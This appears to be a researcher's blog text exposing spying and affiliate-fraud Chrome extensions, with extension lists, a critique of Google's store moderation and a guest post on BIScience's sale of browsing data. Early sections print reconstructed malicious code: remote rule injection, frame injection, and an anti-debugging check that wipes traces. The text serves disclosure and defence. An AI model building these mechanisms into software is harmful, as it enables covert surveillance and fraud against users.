Supposedly, this code downloads a set of site-specific rules. This could in theory be legitimate functionality not meant to spy on users. That it isn’t legitimate functionality here isn’t indicated merely by the fact that the endpoint doesn’t produce any really meaningful responses. Legitimate functionality not intending to spy wouldn’t send a unique user ID with the request, the page address would be cut down to the host name (or would at least have all parameters removed) and the response would be cached. The latter would happen simply to reduce the load on this endpoint, something that anybody does unless the endpoint is paid for with users’ data.
Nothing about the section above is new, I’ve already written as much in 2023. But either I haven’t taken a close look at the rule processing back then or it got considerably worse. Here is what it looks like today (variable and function naming is mine, the code was minified):
for (const key in rules)
if ("id" === key || "genericId" === key)
// Remove elements by ID
else if ("class" === key || "genericClass" === key)
// Remove elements by class name
else if ("innerText" === key)
// Remove elements by text
else if ("rules" === key)
if (rules.updateRules)
applyRules(rules[key], rules.rule_scope, tabId);
else if ("cc" === key)
// Bogus logic to let the server decide which language-specific filter list
// should be enabled
The interesting part here is the applyRules call which conveniently isn’t triggered by the initial server responses (updateRules key is set to false). This function looks roughly like this:
async function applyRules(rules, scope, tabId) {
if ("global" !== scope) {
if (0 !== rules.length) {
const existingRules = await chrome.declarativeNetRequest.getDynamicRules();
const ruleIds = existingRules.map(rule => rule.id);
chrome.declarativeNetRequest.updateDynamicRules({
removeRuleIds: ruleIds,
addRules: rules
});
}
} else {
chrome.tabs.sendMessage(tabId, {
message: "start",
link: rules
});
}
}
So if the “scope” is anything but "global" the rules provided by the server will be added to the declarativeNetRequest API. Modifying these rules on per-request basis makes no sense for ad blocking, but it opens up rich possibilities for abuse as we’ve seen already. Given what McAfee discovered about these extensions before this is likely meant for cookie stuffing, yet execution of arbitrary JavaScript code in the context of targeted web pages is also a possible scenario.
And if the “scope” is "global" the extension sends a message to its content script which will inject a frame with the given address into the page. Again, this makes no sense whatsoever for blocking ads, but it definitely works for affiliate fraud – which is what these extensions are all about according to McAfee.
Depending on the extension there might be only frame injection or only adding of dynamic rules. Given the purpose of the AutoBuy extension, it can probably pass as legitimate by Google’s rules, others not so much.
| Name | Weekly active users | Extension ID | Featured |
|---|---|---|---|
| Auto Refresh Plus | 100,000 | ffejlioijcokmblckiijnjcmfidjppdn | |
| Smart Auto Refresh | 100,000 | fkjngjgmgbfelejhbjblhjkehchifpcj | ✓ |
| Adblock all advertisement - No Ads extension | 700,000 | gbdjcgalliefpinpmggefbloehmmknca | ✓ |
| AutoBuy Flash Sales, Deals, and Coupons | 20,000 | gbnahglfafmhaehbdmjedfhdmimjcbed | |
| Autoskip for Youtube™ Ads | 200,000 | hmbnhhcgiecenbbkgdoaoafjpeaboine | |
| Smart Adblocker | 50,000 | iojpcjjdfhlcbgjnpngcmaojmlokmeii | ✓ |
| Adblock for Browser | 10,000 | jcbjcocinigpbgfpnhlpagidbmlngnnn | |
| Netflix Party | 500,000 | mmnbenehknklpbendgmgngeaignppnbe | |
| Free adblocker | 8,000 | njjbfkooniaeodkimaidbpginjcmhmbm | ✓ |
| Video Ad Block Youtube | 100,000 | okepkpmjhegbhmnnondmminfgfbjddpb | ✓ |
| Picture in Picture for Videos | 30,000 | pmdjjeplkafhkdjebfaoaljknbmilfgo |
Update (2025-01-28): Added Auto Refresh Plus and Picture in Picture for Videos to the list. The former only contains the spying functionality, the latter spying and frame injection.
I’ll be looking at Sweet VPN as representative for 32 extensions I found using highly obfuscated code. These extensions aren’t exactly new to this blog either, my post in 2023 already named three of them even though I couldn’t identify the malicious functionality back then. Most likely I simply overlooked it, I didn’t have time to investigate each extension thoroughly.
These extensions also decided to circumvent remote code restrictions but their approach is way more elaborate. They download some JSON data from the server and add it to the extension’s storage. While some keys like proxy_list are expected here and always present, a number of others are absent from the server response when the extension is first installed. These can contain malicious instructions.
For example, the four keys 0, 1, 2, 3 seem to be meant for anti-debugging protection. If present, the values of these keys are concatenated and parsed as JSON into an array. A property resolution mechanism then allows resolving arbitrarily deep values, starting at the self object of the extension’s background worker. The result are three values which are used like this:
value1({value2: value3}, result => {
…
});
This call is repeated every three seconds. If result is a non-empty array, the extension removes all but a few storage keys and stops further checks. This is clearly meant to remove traces of malicious activity. I am not aware of any ways for an extension to detect an open Developer Tools window, so this call is probably meant to detect the extension management page that Developer Tools are opened from:
chrome.tabs.query({"url": "chrome://extensions/*"}, result => {
…
});
This protection mechanism is only a very small part of the obfuscated logic in the extension. There are lots of values being decoded, tossed around, used in some function calls. It is difficult to reconstruct the logic with the key parts missing. However, the extension doesn’t have too many permissions:
"permissions": [
"proxy",
"storage",
"tabs"
],
"host_permissions": [
"https://ipapi.co/json/",
"https://ip.seeip.org/geoip",
"https://api.myip.com/",
"https://ifconfig.co/json"
],
Given that almost no websites can be accessed directly, it’s a safe bet that the purpose of the concealed functionality is spying on the users. That’s what the tabs permission is for, to be notified of any changes in the user’s browsing session.
In fact, once you know that the function being passed as parameter is a tabs.onUpdated listener its logic becomes way easier to understand, despite the missing parts. So the cl key in the extension’s storage (other extensions often use other names) is the event queue where data about the user’s browsing is being stored. Once there are at least 10 events the queue is sent to the same address where the extension downloads its configuration from.
There are also some chrome.tabs.update() calls in the code, replacing the address of the currently loading page by something else. It’s hard to be certain what these are used for: it could be search redirection, affiliate fraud or plainly navigating to advertising pages.
| Name | Weekly active users | Extension ID | Featured |
|---|---|---|---|
| VK UnBlock. Works fast. | 40,000 | ahdigjdpekdcpbajihncondbplelbcmo | |
| VPN Proxy Master | 120 | akkjhhdlbfibjcfnmkmcaknbmmbngkgn | |
| VPN Unblocker for Instagram | 8,000 | akmlnidakeiaipibeaidhlekfkjamgkm | |
| StoriesHub | 100,000 | angjmncdicjedpjcapomhnjeinkhdddf | ✓ |
| Facebook and Instagram Downloader | 30,000 | baajncdfffcpahjjmhhnhflmbelpbpli | |
| Downloader for Instagram - ToolMaster | 100,000 | bgbclojjlpkimdhhdhbmbgpkaenfmkoe | ✓ |
| TikTok in USA | 20,000 | bgcmndidjhfimbbocplkapiaaokhlcac | ✓ |
| Sweet VPN | 100,000 | bojaonpikbbgeijomodbogeiebkckkoi | ✓ |
| Access to Odnoklassniki | 4,000 | ccaieagllbdljoabpdjiafjedojoejcl | |
| Ghost - Anonymous Stories for Instagram | 20,000 | cdpeckclhmpcancbdihdfnfcncafaicp | ✓ |
| StorySpace Manager for FB and IG Stories | 10,000 | cicohiknlppcipjbfpoghjbncojncjgb | ✓ |
| VPN Unblocker for YouTube | 40,000 | cnodohbngpblpllnokiijcpnepdmfkgm | |
| Universal Video Downloader | 200,000 | cogmkaeijeflocngklepoknelfjpdjng | ✓ |
| Free privacy connection - VPN guru | 500,000 | dcaffjpclkkjfacgfofgpjbmgjnjlpmh | ✓ |
| Live Recorder for Instagram aka MasterReco | 10,000 | djngbdfelbifdjcoclafcdhpamhmeamj | |
| Video Downloader for Vimeo | 100,000 | dkiipfbcepndfilijijlacffnlbchigb | ✓ |
| VPN Ultimate - Best VPN by unblock | 400,000 | epeigjgefhajkiiallmfblgglmdbhfab | ✓ |
| Insured Smart VPN - Best Proxy ever unblock everything | 2,000 | idoimknkimlgjadphdkmgocgpbkjfoch | |
| Ultra Downloader for Instagram | 30,000 | inekcncapjijgfjjlkadkmdgfoekcilb | ✓ |
| Parental Control. Blocks porn, malware, etc. | 3,000 | iohpehejkbkfdgpfhmlbogapmpkefdej | ✓ |
| UlV. Ultimate downloader for Vimeo | 2,000 | jpoobmnmkchgfckdlbgboeaojhgopidn | |
| Simplify. Downloader for Instagram | 20,000 | kceofhgmmjgfmnepogjifiomgojpmhep | ✓ |
| Download Facebook Video | 591 | kdemfcffpjfikmpmfllaehabkgkeakak | |
| VPN Unblocker for Facebook | 3,000 | kheajjdamndeonfpjchdmkpjlemlbkma | |
| Video Downloader for FaceBook | 90,000 | kjnmedaeobfmoehceokbmpamheibpdjj | ✓ |
| TikTok Video Keeper | 40,000 | kmobjdioiclamniofdnngmafbhgcniok | ✓ |
| Mass Downloader for Instagram | 100,000 | ldoldiahbhnbfdihknppjbhgjngibdbe | ✓ |
| Stories for FaceBook - Anon view, download | 3,000 | nfimgoaflmkihgkfoplaekifpeicacdn | ✓ |
| VPN Surf - Fast VPN by unblock | 800,000 | nhnfcgpcbfclhfafjlooihdfghaeinfc | ✓ |
| TikTok Video Downloader | 20,000 | oaceepljpkcbcgccnmlepeofkhplkbih | |
| Video Downloader for FaceBook | 10,000 | ododgdnipimbpbfioijikckkgkbkginh | |
| Exta: Pro downloader for Instagram | 10,000 | ppcmpaldbkcoeiepfbkdahoaepnoacgd | ✓ |
Update (2025-01-20): Added Adblock Bear and AdBlock 360 after a hint from a commenter.
As is often the case with Chrome Web Store, my searches regularly turned up more malicious extensions unrelated to the ones I was looking for. Some of them also devised their mechanisms to execute remote code. I didn’t find more extensions using the same approach, which of course doesn’t mean that there are none.
Adblock for Youtube is yet another browser extension essentially bundling an interpreter for their very own minimalistic programming language. One part of the instructions it receives from its server is executed in the context of the privileged background worker, the other in the content script context.
EasyNav, Adblock Bear and AdBlock 360 use an approach quite similar to Phoenix Invicta. In particular, they add rules to the declarativeNetRequest API that they receive from their respective server. EasyNav also removes security headers. These extensions don’t bother with HTML injection however, instead their server produces a list of scripts to be injected into web pages. There are specific scripts for some domains and a fallback for everything else.
Download Manager Integration Checklist is merely supposed to display some instructions, it shouldn’t need any privileges at all. Yet this extension requests access to all web pages and will add rules to the declarativeNetRequest API that it downloads from its server.
Translator makes it look like its configuration is all about downloading a list of languages. But it also contains a regular expression to test against website addresses and the instructions on what to do with matching websites: a tag name of the element to create and a bunch of attributes to set. Given that the element isn’t removed after insertion, this is probably about injecting advertising frames. This mechanism could just as well be used to inject a script however.
| Name | Weekly active users | Extension ID | Featured |
|---|---|---|---|
| Adblock for Youtube™ - Auto Skip ad | 8,000 | anceggghekdpfkjihcojnlijcocgmaoo | ✓ |
| EasyNav | 30,000 | aobeidoiagedbcogakfipippifjheaom | |
| Adblock Bear - stop invasive ads | 100,000 | gdiknemhndplpgnnnjjjhphhembfojec | |
| AdBlock 360 | 400,000 | ghfkgecdjkmgjkhbdpjdhimeleinmmkl | |
| Download Manager Integration Checklist | 70,000 | ghkcpcihdonjljjddkmjccibagkjohpi | ✓ |
| Translator | 100,000 | icchadngbpkcegnabnabhkjkfkfflmpj |
The following domain names are associated with Phoenix Invicta:
The following domain names are used by Netflix Party and related extensions:
The following domain names are used by Sweet VPN and related extensions:
These domain names are used by the extensions in the bonus section:
Let’s make one thing clear first: I’m not singling out Google’s handling of problematic and malicious browser extensions because it is worse than Microsoft’s for example. No, Microsoft is probably even worse but I never bothered finding out. That’s because Microsoft Edge doesn’t matter, its market share is too small. Google Chrome on the other hand is used by around 90% of the users world-wide, and one would expect Google to take their responsibility to protect its users very seriously, right? After all, browser extensions are one selling point of Google Chrome, so certainly Google would make sure they are safe?
Unfortunately, my experience reporting numerous malicious or otherwise problematic browser extensions speaks otherwise. Google appears to take the “least effort required” approach towards moderating Chrome Web Store. Their attempts to automate all things moderation do little to deter malicious actors, all while creating considerable issues for authors of legitimate add-ons. Even when reports reach Google’s human moderation team, the actions taken are inconsistent, and Google generally shies away from taking decisive actions against established businesses.
As a result, for a decade my recommendation for Chrome users has been to stay away from Chrome Web Store if possible. Whenever extensions are absolutely necessary, it should be known who is developing them, why, and how the development is being funded. Just installing some extension from Chrome Web Store, including those recommended by Google or “featured,” is very likely to result in your browsing data being sold or worse.
Google employees will certainly disagree with me. Sadly, much of it is organizational blindness. I am certain that you meant it well and that you did many innovative things to make it work. But looking at it from the outside, it’s the result that matters. And for the end users the result is a huge (and rather dangerous) mess.
Five years ago I discovered that Avast browser extensions were spying on their users. Mozilla and Opera disabled the extension listings immediately after I reported it to them. Google on the other hand took two weeks where they supposedly discussed their policies internally. The result of that discussion was eventually their “no surprises” policy:
Building and maintaining user trust in the Chrome Web Store is paramount, which means we set a high bar for developer transparency. All functionalities of extensions should be clearly disclosed to the user, with no surprises. This means we will remove extensions which appear to deceive or mislead users, enable dishonest behavior, or utilize clickbaity functionality to artificially grow their distribution.
So when dishonest behavior from extensions is reported today, Google should act immediately and decisively, right? Let’s take a look at two examples that came up in the past few months.
In October I wrote about the refoorest extension deceiving its users. I could conclusively prove that Colibri Hero, the company behind refoorest, deceives their users on the number of trees they supposedly plant, incentivizing users into installing with empty promises. In fact, there is strong indication that the company never even donated for planting trees beyond a rather modest one-time donation.
Google got my report and dealt with it. What kind of action did they take? That’s a very good question that Google won’t answer. But refoorest is still available from Chrome Web Store, it is still “featured” and it still advertises the very same completely made up numbers of trees they supposedly planted. Google even advertises for the extension, listing it in the “Editors’ Picks extensions” collection, probably the reason why it gained some users since my report. So much about being honest. For comparison: refoorest used to be available from Firefox Add-ons as well but was already removed when I started my investigation. Opera removed the extension from their add-on store within hours of my report.
But maybe that issue wasn’t serious enough? After all, there is no harm done to users if the company is simply pocketing the money they claim to spend on a good cause. So also in October I wrote about the Karma extension spying on users. Users are not being notified about their browsing data being collected and sold, except for a note buried in their privacy policy. Certainly, that’s identical to the Avast case mentioned before and the extension needs to be taken down to protect users?
Again, Google got my report and dealt with it. And again I fail to see any result of their action. The Karma extension remains available on Chrome Web Store unchanged, it will still notify their server about every web page you visit (see screenshot above). The users still aren’t informed about this. Yet their Chrome Web Store page continues to claim “This developer declares that your data is not being sold to third parties, outside of the approved use cases,” a statement contradicted by their privacy policy. The extension appears to have lost its “Featured” badge at some point but now it is back.
Note: Of course Karma isn’t the only data broker that Google tolerates in Chrome Web Store. I published a guest article today by a researcher who didn’t want to disclose their identity, explaining their experience with BIScience Ltd., a company misleading millions of extension users to collect and sell their browsing data. This post also explains how Google’s “approved use cases” effectively allow pretty much any abuse of users’ data.
Mind you, neither refoorest nor Karma were alone but rather recruited or bought other browser extensions as well. These other browser extensions were turned outright malicious, with stealth functionality to perform affiliate fraud and/or collect users’ browsing history. Google’s reaction was very inconsistent here. While most extensions affiliated with Karma were removed from Chrome Web Store, the extension with the highest user numbers (and performing affiliate fraud without telling their users) was allowed to remain for some reason.
With refoorest, most affiliate extensions were removed or stopped using their Impact Hero SDK. Yet when I checked more than two months after my report two extensions from my original list still appeared to include that hidden affiliate fraud functionality and I found seven new ones that Google apparently didn’t notice.
Now you may be wondering: if I reported these issues, why do I have to guess what Google did in response to my reports? Actually, keeping me in the dark is Google’s official policy:
This is by the way the response I received in November after pointing out the inconsistent treatment of the extensions. A month later the state of affairs was still that some malicious extensions got removed while other extensions with identical functionality were available for users to install, and I have no idea why that is. I’ve heard before that Google employees aren’t allowed to discuss enforcement actions, and your guess is as good as mine as to whom this policy is supposed to protect.
Supposedly, the idea of not commenting on policy enforcement actions is hiding the internal decision making from bad actors, so that they don’t know how to game the process. If that’s the theory however, it isn’t working. In this particular case the bad actors got some feedback, be it through their extensions being removed or due to the adjustments demanded by Google. It’s only me, the reporter of these issues, who needs to be guessing.
But, and this is a positive development, I’ve received a confirmation that both these reports are being worked on. This is more than I usually get from Google which is: silence. And typically also no visible reaction either, at least until a report starts circulating in media publications forcing Google to act on it.
But let’s take a step back and ask ourselves: how does one report Chrome Web Store policy violations? Given how much Google emphasizes their policies, there should be an obvious way?
In fact, there is a support document on reporting issues. And when I started asking around, even Google employees would direct me to it.
If you find something in the Chrome Web Store that violates the Chrome Web Store Terms of Service, or trademark or copyright infringement, let us know.
Sounds good, right? Except that the first option says:
At the bottom left of the window, click Flag Issue.
Ok, that’s clearly the old Chrome Web Store. But we understand of course that they mean the “Flag concern” link which is nowhere near the bottom. And it gives us the following selection:
This doesn’t really seem like the place to report policy violations. Even “Felt suspicious” isn’t right for an issue you can prove. And, unsurprisingly, after choosing this option Google just responds with:
Your abuse report has been submitted successfully.
No way to provide any details. No asking for my contact details in case they have questions. No context whatsoever, merely “felt suspicious.” This is probably fed to some algorithm somewhere which might result in… what actually? Judging by malicious extensions where users have been vocally complaining, often for years: nothing whatsoever. This isn’t the way.
Well, there is another option listed in the document:
If you think an item in the Chrome Web Store violates a copyright or trademark, fill out this form.
Yes, Google seems to care about copyright and trademark violations, but a policy violation isn’t that. If we try the form nevertheless it gives us a promising selection:
Finally! Yes, policy reasons are exactly what we are after, let’s click that. And there comes another choice:
That’s really the only option offered. And I have questions. At the very least those are: in what jurisdiction is child sexual abuse material a non-legal reason to report content? And: since when is that the only policy that Chrome Web Store has?
We can go back and try “Legal Reasons to Report Content” of course but the options available are really legal issues: intellectual properties, court orders or violations of hate speech law. This is another dead end.
It took me a lot of asking around to learn that the real (and well-hidden) way to report Chrome Web Store policy violations is Chrome Web Store One Stop Support. I mean: I get it that Google must be getting lots of non-sense reports. And they probably want to limit that flood somehow. But making legitimate reports almost impossible can’t really be the way.
In 2019 Google launched the Developer Data Protection Reward Program (DDPRP) meant to address privacy violations in Chrome extensions. Its participation conditions were rather narrow for my taste, pretty much no issue would qualify for the program. But at least it was a reliable way to report issues which might even get forwarded internally. Unfortunately, Google discontinued this program in August 2024.
It’s not that I am very convinced of DDPRP’s performance. I’ve used that program twice. First time I reported Keepa’s data exfiltration. DDPRP paid me an award for the report but, from what I could tell, allowed the extension to continue unchanged. The second report was about the malicious PDF Toolbox extension. The report was deemed out of scope for the program but forwarded internally. The extension was then removed quickly, but that might have been due to the media coverage. The benefit of the program was really: it was a documented way of reaching a human being at Google that would look at a problematic extension.
In theory, there should be no spam on Chrome Web Store. The policy is quite clear on that:
We don’t allow any developer, related developer accounts, or their affiliates to submit multiple extensions that provide duplicate experiences or functionality on the Chrome Web Store.
Unfortunately, this policy’s enforcement is lax at best. Back in June 2023 I wrote about a malicious cluster of Chrome extensions. I listed 108 extensions belonging to this cluster, pointing out their spamming in particular:
Well, 13 almost identical video downloaders, 9 almost identical volume boosters, 9 almost identical translation extensions, 5 almost identical screen recorders are definitely not providing value.
I’ve also documented the outright malicious extensions in this cluster, pointing out that other extensions are likely to turn malicious as well once they have sufficient users. And how did Google respond? The malicious extensions have been removed, yes. But other than that, 96 extensions from my original list remained active in January 2025, and there were of course more extensions that my original report didn’t list. For whatever reason, Google chose not to enforce their anti-spam policy against them.
And that’s merely one example. My most recent blog post documented 920 extensions using tricks to spam Chrome Web Store, most of them belonging to a few large extension clusters. As it turned out, Google was made aware of this particular trick a year before my blog post already. And again, for some reason Google chose not to act.
So when you search for extensions in Chrome Web Store, many results will likely come from one of the spam clusters. But the choice to install a particular extension is typically based on reviews. Can at least these reviews be trusted? Concerning moderation of reviews Google says:
Google doesn’t verify the authenticity of reviews and ratings, but reviews that violate our terms of service will be removed.
And the important part in the terms of service is:
Your reviews should reflect the experience you’ve had with the content or service you’re reviewing. Do not post fake or inaccurate reviews, the same review multiple times, reviews for the same content from multiple accounts, reviews to mislead other users or manipulate the rating, or reviews on behalf of others. Do not misrepresent your identity or your affiliation to the content you’re reviewing.
Now you may be wondering how well these rules are being enforced. The obviously fake review on the Karma extension is still there, three months after being posted. Not that it matters, with their continuous stream of incoming five star reviews.
A month ago I reported an extension to Google that, despite having merely 10,000 users, received 19 five star reviews on a single day in September – and only a single (negative) review since then. I pointed out that it is a consistent pattern across all extensions of this account, e.g. another extension (merely 30 users) received 9 five star reviews on the same day. It really doesn’t get any more obvious than that. Yet all these reviews are still online.
And it isn’t only fake reviews. The refoorest extension incentivizes reviews which violates Google’s anti-spam policy (emphasis mine):
Developers must not attempt to manipulate the placement of any extensions in the Chrome Web Store. This includes, but is not limited to, inflating product ratings, reviews, or install counts by illegitimate means, such as fraudulent or incentivized downloads, reviews and ratings.
It has been three months, and they are still allowed to continue. The extension gets a massive amount of overwhelmingly positive reviews, users get their fake trees, everybody is happy. Well, other than the people trying to make sense of these meaningless reviews.
With reviews being so easy to game, it looks like lots of extensions are doing it. Sometimes it shows as a clearly inflated review count, sometimes it’s the overwhelmingly positive or meaningless content. At this point, any user ratings with the average above 4 stars likely have been messed with.
But at least the “Featured” badge is meaningful, right? It certainly sounds like somebody at Google reviewed the extension and considered it worthy of carrying the badge. At least Google’s announcement indeed suggests a manual review:
Chrome team members manually evaluate each extension before it receives the badge, paying special attention to the following:
- Adherence to Chrome Web Store’s best practices guidelines, including providing an enjoyable and intuitive experience, using the latest platform APIs and respecting the privacy of end-users.
- A store listing page that is clear and helpful for users, with quality images and a detailed description.
Yet looking through 920 spammy extensions I reported recently, most of them carry the “Featured” badge. Yes, even the endless copies of video downloaders, volume boosters, AI assistants, translators and such. If there is an actual manual review of these extensions as Google claims, it cannot really be thorough.
To provide a more tangible example, Chrome Web Store currently has Blaze VPN, Safum VPN and Snap VPN extensions carry the “Featured” badge. These extensions (along with Ishaan VPN which has barely any users) belong to the PDF Toolbox cluster which produced malicious extensions in the past. A cursory code inspection reveals that all four are identical and in fact clones of Nucleus VPN which was removed from Chrome Web Store in 2021. And they also don’t even work, no connections succeed. The extension not working is something users of Nucleus VPN complained about already, a fact that the extension compensated with fake reviews.
So it looks like the main criteria for awarding the “Featured” badge are the things which can be easily verified automatically: user count, Manifest V3, claims to respect privacy (not even the privacy policy, merely that the right checkbox was checked), a Chrome Web Store listing with all the necessary promotional images. Given how many such extensions are plainly broken, the requirements on the user interface and generally extension quality don’t seem to be too high. And providing unique functionality definitely isn’t on the list of criteria.
In other words: if you are a Chrome user, the “Featured” badge is completely meaningless. It is no guarantee that the extension isn’t malicious, not even an indication. In fact, authors of malicious extensions will invest some extra effort to get this badge. That’s because the website algorithm seems to weigh the badge considerably towards the extension’s ranking.
Google Chrome first introduced browser extensions in 2011. At that point the dominant browser extensions ecosystem was Mozilla’s, having been around for 12 years already. Mozilla’s extensions suffered from a number of issues that Chrome developers noticed of course: essentially unrestricted privileges necessitated very thorough reviews before extensions could be published on Mozilla Add-ons website, due to high damage potential of the extensions (both intentional and unintentional). And since these reviews relied largely on volunteers, they often took a long time, with the publication delays being very frustrating to add-on developers.
Disclaimer: I was a reviewer on Mozilla Add-ons myself between 2015 and 2017.
Google Chrome was meant to address all these issues. It pioneered sandboxed extensions which allowed limiting extension privileges. And Chrome Web Store focused on automated reviews from the very start, relying on heuristics to detect problematic behavior in extensions, so that manual reviews would only be necessary occasionally and after the extension was already published. Eventually, market pressure forced Mozilla to adopt largely the same approaches.
Google’s over-reliance on automated tools caused issues from the very start, and it certainly didn’t get any better with the increased popularity of the browser. Mozilla accumulated a set of rules to make manual reviews possible, e.g. all code should be contained in the extension, so no downloading of extension code from web servers. Also, reviewers had to be provided with an unobfuscated and unminified version of the source code. Google didn’t consider any of this necessary for their automated review systems. So when automated review failed, manual review was often very hard or even impossible.
It’s only with the introduction of Manifest V3 now that Chrome finally prohibits remote hosted code. And it took until 2018 to prohibit code obfuscation, while Google’s reviewers still have to reverse minification for manual reviews. Mind you, we are talking about policies that were already long established at Mozilla when Google entered the market in 2011.
And extension sandboxing, while without doubt useful, didn’t really solve the issue of malicious extensions. I already wrote about one issue back in 2016:
The problem is: useful extensions will usually request this kind of “give me the keys to the kingdom” permission.
Essentially, this renders permission prompts useless. Users cannot possibly tell whether an extension has valid reasons to request extensive privileges. So legitimate extensions have to constantly deal with users who are confused about why the extension needs to “read and change all your data on all websites.” At the same time, users are trained to accept such prompts without thinking twice.
And then malicious add-ons come along, requesting extensive privileges under a pretense. Monetization companies put out guides for extension developers on how they can request more privileges for their extensions while fending off complains from users and Google alike. There is a lot of this going on in Chrome Web Store, and Manifest V3 couldn’t change anything about it.
So what we have now is:
Number 3 and 4 in particular seem to further trap Google in the “it needs to be automated” mindset. Yet adding more automated layers isn’t going to solve the issue when there are companies which can put a hundred employees on devising new tricks to avoid triggering detection. Yes, malicious extensions are big business.
If Google were interested in making Chrome Web Store a safer place, I don’t think there is a way around investing considerable (manual) effort into cleaning up the place. Taking down a single extension won’t really hurt the malicious actors, they have hundreds of other extensions in the pipeline. Tracing the relationships between extensions on the other hand and taking down the entire cluster – that would change things.
As the saying goes, the best time to do this was a decade ago. The second best time is right now, when Chrome Web Store with its somewhat less than 150,000 extensions is certainly large but not yet large enough to make manual investigations impossible. Besides, there is probably little point in investigating abandoned extensions (latest release more than two years ago) which make up almost 60% of Chrome Web Store.
But so far Google’s actions have been entirely reactive, typically limited to extensions which already caused considerable damage. I don’t know whether they actually want to stay on top of this. From the business point of view there is probably little reason for that. After all, Google Chrome no longer has to compete for market share, having essentially won against the competition. Even with Chrome extensions not being usable, Chrome will likely stay the dominant browser.
In fact, Google has significant incentives to keep a particular class of extensions low, so one might even suspect intention behind allowing Chrome Web Store to be flooded with shady and outright malicious ad blockers.
Recently, John Tuckner of Secure Annex and Wladimir Palant published great research about how BIScience and its various brands collect user data. This inspired us to publish part of our ongoing research to help the extension ecosystem be safer from bad actors.
This post details what BIScience does with the collected data and how their public disclosures are inconsistent with actual practices, based on evidence compiled over several years.
BIScience is a long-established data broker that owns multiple extensions in the Chrome Web Store (CWS) that collect clickstream data under false pretenses. They also provide a software development kit (SDK) to partner third-party extension developers to collect and sell clickstream data from users, again under false pretenses. This SDK will send data to sclpfybn.com and other endpoints controlled by BIScience.
“Clickstream data” is an analytics industry term for “browsing history”. It consists of every URL users visit as they browse the web.
According to their website, BIScience “provides the deepest digital & behavioral data intelligence to market research companies, brands, publishers & investment firms”. They sell clickstream data through their Clickstream OS product and sell derived data under other product names.
BIScience owns AdClarity. They provide “advertising intelligence” for companies to monitor competitors. In other words, they have a large database of ads observed across the web. They use data collected from services operated by BIScience and third parties they partner with.
BIScience also owns Urban Cyber Security. They provide VPN, ad blocking, and safe browsing services under various names: Urban VPN, 1ClickVPN, Urban Browser Guard, Urban Safe Browsing, and Urban Ad Blocker. Urban collects user browsing history from these services, which is then sold by BIScience to third parties through Clickstream OS, AdClarity, and other products.
BIScience also owned GeoSurf, a residential proxy service that shut down in December 2023.
BIScience is a huge player in the browser extension ecosystem, based on their own claims and our observed activity. They also collect data from other sources, including Windows apps and Android apps that spy on other running apps.
The websites of BIScience and AdClarity make the following claims:
These numbers are the most recent figures from all pages on their websites, not only the home pages. They have consistently risen over the years based on archived website data, so it’s safe to say any lower figures on their website are outdated.
BIScience proactively contacts extension developers to buy clickstream data. They claim to buy this data in anonymized form, and in a manner compliant with Chrome Web Store policies. Both claims are demonstrably false.
Several third-party extensions integrate with BIScience’s SDK. Some are listed in the Secure Annex blog post, and we have identified more in the IOCs section. There are additional extensions which use their own custom endpoint on their own domain, making it more difficult to identify their sale of user data to BIScience and potentially other data brokers. Secure Annex identifies October 2023 as the earliest known date of BIScience integrations. Our evidence points to 2019 or earlier.
Our internal data shows the Visual Effects for Google Meet extension and other extensions collecting data since at least mid-2022. BIScience has likely been collecting data from extensions since 2019 or earlier, based on public GitHub posts by BIScience representatives (2021, 2021, 2022) and the 2019 DataSpii research that found some references to AdClarity in extensions. BIScience was founded in 2009 when they launched GeoSurf. They later launched AdClarity in 2012.
Despite BIScience’s claims that they only acquire anonymized data, their own extensions send raw URLs, and third-party extensions also send raw URLs to BIScience. Therefore BIScience collects granular clickstream data, not anonymized data.
If they meant to say that they only use/resell anonymized data, that’s not comforting either. BIScience receives the raw data and may store, use, or resell it as they choose. They may be compelled by governments to provide the raw data, or other bad actors may compromise their systems and access the raw data. In general, collecting more data than needed increases risks for user privacy.
Even if they anonymize data as soon as they receive it, anonymous clickstream data can contain sensitive or identifying information. A notable example is the Avast-Jumpshot case discovered by Wladimir Palant, who also wrote a deep dive into why anonymizing browsing history is very hard.
As the U.S. FTC investigation found, Jumpshot stored unique device IDs that did not change over time. This allowed reidentification with a sufficient number of URLs containing identifying information or when combined with other commercially-available data sources.
Similarly, BIScience’s collected browsing history is also tied to a unique device ID that does not change over time. A user’s browsing history may be tied to their unique ID for years, making it easier for BIScience or their buyers to perform reidentification.
BIScience’s privacy policy states granular browsing history information is sometimes sold with unique identifiers (emphasis ours):
In most cases the Insights are shared and [sold] in an aggregated non-identifying manner, however, in certain cases we will sell or share the insights with a general unique identifier, this identifier does not include your name or contact information, it is a random serial number associated with an End Users’ browsing activity. However, in certain jurisdictions this is considered Personal Data, and thus, we treat it as such.
When you read the Chrome Web Store privacy disclosures on every extension listing, they say:
This developer declares that your data is
- Not being sold to third parties, outside of approved use cases
- Not being used or transferred for purposes that are unrelated to the item’s core functionality
- Not being used or transferred to determine creditworthiness or for lending purposes
You might wonder:
BIScience and partners take advantage of loopholes in the Chrome Web Store policies, mainly exceptions listed in the Limited Use policy which are the “approved use cases”. These exceptions appear to allow the transfer of user data to third parties for any of the following purposes:
- if necessary to providing or improving your single purpose;
- to comply with applicable laws;
- to protect against malware, spam, phishing, or other fraud or abuse; or,
- as part of a merger, acquisition or sale of assets of the developer after obtaining explicit prior consent from the user
The Limited Use policy later states:
All other transfers, uses, or sale of user data is completely prohibited, including:
- Transferring, using, or selling data for personalized advertisements.
- Transferring or selling user data to third parties like advertising platforms, data brokers, or other information resellers.
- Transferring, using, or selling user data to determine credit-worthiness or for lending purposes.
BIScience and partner extensions develop user-facing features that allegedly require access to browsing history, to claim the “necessary to providing or improving your single purpose” exception. They also often implement safe browsing or ad blocking features, to claim the “protect against malware, spam, phishing” exception.
Chrome Web Store appears to interpret their policies as allowing the transfer of user data, if extensions claim Limited Use exceptions through their privacy policy or other user disclosures. Unfortunately, bad actors falsely claim these exceptions to sell user data to third parties.
This is despite the CWS User Data FAQ stating (emphasis ours):
- Can my extension collect web browsing activity not necessary for a user-facing feature, such as collecting behavioral ad-targeting data or other monetization purposes?
No. The Limited Uses of User Data section states that an extension can only collect and transmit web browsing activity to the extent required for a user-facing feature that is prominently described in the Chrome Web Store page and user interface. Ad targeting or other monetization of this data isn’t for a user-facing feature. And, even if a user-facing feature required collection of this data, its use for ad targeting or any other monetization of the data wouldn’t be permitted because the Product is only permitted to use the data for the user-facing feature.
In other words, even if there is a “legitimate” feature that collects browsing history, the same data cannot be sold for profit.
